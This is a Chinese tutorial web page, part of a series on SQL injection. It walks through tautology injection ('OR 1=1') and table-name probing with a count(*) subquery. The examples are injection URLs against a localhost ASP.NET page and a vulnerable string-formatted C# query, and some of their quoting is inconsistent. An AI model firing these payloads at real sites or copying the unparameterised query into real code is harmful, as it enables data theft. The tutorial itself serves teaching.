SQL Injection：网络攻击及其防范措施(2)
如图所示，我们要查询数据库中工作Id值为1的工作信息，而且在页面显示了该工作的Id，Description，Min Lvl和Max Lvl等信息。
现在要求我们实现根据工作Id查询相应工作信息的功能，想必大家很快可以给出解决方案，SQL示意代码如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1)假设现在要求我们获取Department表中的所有数据，而且必须保留WHERE语句，那我们只要确保WHERE恒真就OK了，SQL示意代码如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1) OR 1 = 1上面我们使得WHERE恒真，所以该查询中WHERE已经不起作用了，其查询结果等同于以下SQL语句。
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobsSQL查询代码实现如下：
string sql1 = string.Format(
"SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id="{0}", jobId);现在我们要通过页面请求的方式，让数据库执行我们的SQL语句，我们要在URL中嵌入恶意表达式1=1(或2=2等等)，如下URL所示：
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1"or"1"="1
等效SQL语句如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id = "1" OR "1" = 1"
现在我们把job表中的所有数据都查询出来了，仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击。
虽然我们把job表的数据都查询出来了，但数据并没有太大的价值，由于我们把该表临时命名为job表，所以接着我们要找出该表真正表名。
首先我们假设表名就是job，然后输入以下URL：
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1"or 1=(select count(*) from job)
等效SQL语句如下：
SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id="1"or 1=(select count(*) from job) "
(责任编辑：闫小琪)
- 上一篇：网站怎样保安全 安全建站指南
- 下一篇：实例解析防火墙部署搭建与故障排除（三）
桌面安全 需采用“深层防御”方法
深层防御方法代表了一套全方位安全哲学，帮助保护计算环境免受许多攻击手法的攻击。 ...[详细]
网络安全巧设置 Win2008 R2 防火墙详解
针对一般中小企业型来说，如果希望对企业网络进行安全管理，不一定非得花高价钱购买专...[详细]
Windows Vista中如何加密文件或文件夹
要在Windows Vista加密文件或文件夹，可按下面的操作步骤进行：。 ...[详细]
信用卡背后的安全隐患
Visa组织在2001年推出一个他们称为3DS的安全协议，也就是3 Domain Secure的缩写。试图...[详细]
周鸿祎：AVC证明360杀毒具有世界级技术
曾令中国杀毒业难堪的AV-Comparatives国际权威评测传来喜讯：在最新公布的AVC回溯测试...[详细]